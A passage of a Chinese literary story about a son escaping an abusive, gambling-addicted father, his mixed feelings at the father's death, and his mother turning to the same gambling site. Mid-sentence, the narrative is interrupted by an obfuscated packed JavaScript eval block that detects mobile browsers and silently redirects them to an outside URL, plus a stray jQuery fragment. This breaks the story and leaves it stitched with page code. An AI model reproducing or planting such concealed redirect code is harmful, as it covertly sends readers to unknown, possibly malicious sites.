桥洞……他不在乎脸面,只想逃得越远越好。
因为不是我的错。
不是我的错!
他在心中一遍遍默念。
后来,他打零工的超市老板知道始末,借给他三千块钱报名复读。老板穿着大红色羽绒服,烫着一头不怎么时髦的卷发,用塑料普通话对他说:
“娃子你聪明,该去考大学的。”
他去了。
早晚两餐的饼干只要四块,食堂的汤免费,复读的班主任人很好……
他在一条看不见光的路上走走停停,过去是一件掉絮的袄,在身后蜿蜒出一条长长的泪痕。
后来,他考上了一所一本大学。
大学里轻松很多,他用课余时间代写作业、接家教……他离过去越来越远。
只是每个惊醒的深夜,他都能闻到鼻尖萦绕不去的那股味道——
光线里的尘埃、潮湿、木脂和腐朽织物混合的味道。
老房子的味道。
那是父亲在输掉所有存款,搬出新房后,他们龟缩了15年的地方。
年幼的时候,他常常被锁在橱柜。
长大能够自理后,父母便总是不在家。催债的人找上门,把门踹的摇摇欲坠。他害怕,只能拿着菜刀坐在客厅,一整宿一整宿地等他们走。
后来考上高中,父亲不想出学费,经常用酒瓶砸他泄愤。母亲躲在旁边哭。等到他摔在地上,熟练地假装昏迷,母亲再去小心翼翼收拾碎片。
他讨厌老屋的味道。
就像讨厌流着父母血脉的自己。
可他依然留着母亲给他办的手机卡,曾经偷偷回去过他们。
老房子里依旧是熟悉的打骂声,父母从来没想过找自己。他不在以后,故事也没有向着更美好的方向发展。
所以不是我的错。
不是我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921198|160352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错,他大声对自己说。
直到大四那年,他突然接到母亲的电话。声音疲惫,不悲伤,却有点无措。
母亲告诉他:
“你爸爸死了。因为晚上喝醉,没看路,摔到排水沟里面……”
后续的话他也许没有听清,也许被什么被捂住耳朵。
恍惚混沌间,他突然意识到:自己没有父亲了。
他说不出是高兴还是悲伤。
只记得母亲找到学校,求他回去参加葬礼。当天,所有亲属向遗体献花。作为长子,他是最后一个。
黄白色的花瓣洒在男人的遗体上,空气中升腾着难以言喻的气味。老屋的腐朽与新鲜的花香交织在一起,像一道开始结痂的疤痕。
他突然明白,自己其实是开心的。
因为长久以来的教育告诉孩子,“生身父亲”离世,子女应该悲痛。但他很开心,几乎抑制不住要笑出声来。
所有的痛苦、世代的创伤,因为男人荒唐的意外,会走向终结。
葬礼结束后,母亲与自己的联系越来越密切。他很快凭借优异的表现,找到一份合适的工作。生活逐渐走上正轨。
直到母亲打来借钱的电话。
小时候,每一次母亲躲回老家,都会温柔地摸摸他的头:“妈妈去给你买糖,要在家里乖乖等着哦。”
电话中,她在撒谎,带着和小时候一样的不安感。
像是被什么击中,他的内心恐惧,冷汗直冒。一个熟悉又可怖的梦魇好像猝然之间出现。他发疯似的联系母亲熟悉的朋友,身边的亲友……
最后得到的只有母亲歇斯底里的回复:
“我找到他以前赌钱的那个网站了!我跟他不一样!只要再来一把……只要再来一把!我们就能还清欠款。”
黄白交错